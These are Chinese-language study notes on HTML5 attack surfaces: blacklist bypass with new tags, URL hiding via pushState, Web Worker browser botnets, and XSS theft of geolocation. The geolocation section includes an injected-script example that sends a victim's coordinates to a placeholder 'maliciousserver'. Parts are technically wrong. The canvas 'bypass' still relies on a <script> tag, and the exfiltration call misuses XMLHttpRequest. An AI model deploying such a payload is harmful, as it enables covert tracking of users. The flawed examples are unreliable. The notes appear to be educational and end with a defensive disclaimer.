一、新标签和新属性绕过黑名单策略
跨站中的黑名单策略：
在Web应用中，为了防止一些常见的XSS（跨站脚本攻击）等攻击，会设置一些黑名单规则，比如禁止一些危险的HTML标签、属性等。
新元素突破黑名单策略
-
网络资料：可以参考一些Web安全研究站点介绍新出现的绕过技术等 。
-
示例（概念性展示如何尝试利用新标签）：
假设原来黑名单禁止<script>，但HTML5新标签<canvas>元素可以通过其脚本化的API来执行一些类似操作（以下只是概念性代码示意在canvas中执行一些绘制动作类似脚本执行动作）
<canvas id="myCanvas" width="200" height="200"></canvas>
<script>
var canvas = document.getElementById('myCanvas');
var ctx = canvas.getContext('2d');
ctx.fillStyle = "red";
ctx.fillRect(10, 10, 50, 50);
</script>
二、History API中的新方法
pushState()和replaceState()
- 网络资料：MDN文档对History API 有详细的解释和用法 。
- 代码示例：
var state = {
page: 1,
data: 'example data'
};
history.pushState(state, "Page 1", "page1.html");
// 之后修改
state.page = 2;
history.replaceState(state, "Page 2", "page2.html");
短地址+History新方法 = 完美隐藏URL恶意代码
原理是利用短地址服务将恶意链接进行缩短，然后通过pushState等改变历史记录状态来伪装页面路径等。
伪造历史记录
可以使用pushState不断添加虚假的历史记录条目，让用户在浏览器操作上感觉是在不同的正常页面间切换。
三、HTML5下的僵尸网络
Web Worker的使用
- 网络资料：MDN上Web Worker的教程和规范等。
- 代码示例（简单worker创建）：
一个主线程文件：
const myWorker = new Worker('worker.js');
myWorker.postMessage('Hello from main thread');
myWorker.onmessage = function(e) {
console.log('Message from worker ', e.data);
};
worker.js文件：
onmessage = function(e) {
console.log('Received message in worker ', e.data);
postMessage('Response from worker');
}
CORS向任意网站发送跨域请求（前提是目标网站配置允许）
-
一般服务器端配置CORS头（如Access - Control - Allow - Origin等）来管理跨域。
一个HTML5僵尸网络实例（概念性理解）
大致思路是利用HTML5的新特性如Web Worker等在多浏览器上分布执行任务等，例如可以让大量被感染浏览器同时发起请求等造成服务拒绝等不良影响。
四、地理定位暴露你的位置
隐私保护机制（浏览器层面等）
不同浏览器有不同设置可以控制是否允许网站获取位置信息等。
通过XSS盗取地理位置
-
网络资料：一些Web安全研究博客等可能有分析案例。
-
代码示例（恶意情况下假设页面存在XSS漏洞被注入以下代码）：
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(function(position) {
var latitude = position.coords.latitude;
var longitude = position.coords.longitude;
// 假设这里将位置信息发送到恶意服务器
new XMLHttpRequest().send(`http://maliciousserver?lat=${latitude}&lon=${longitude}`);
});
}
在实际中，HTML5的这些安全问题需要从多方面进行防范，包括开发者的安全意识提升、合理的配置和过滤、浏览器厂商的安全策略更新和用户自身安全意识的培养等。（部分场景代码示例主要用于理解概念，实际安全场景下恶意代码等肯定是不提倡和不合法的）
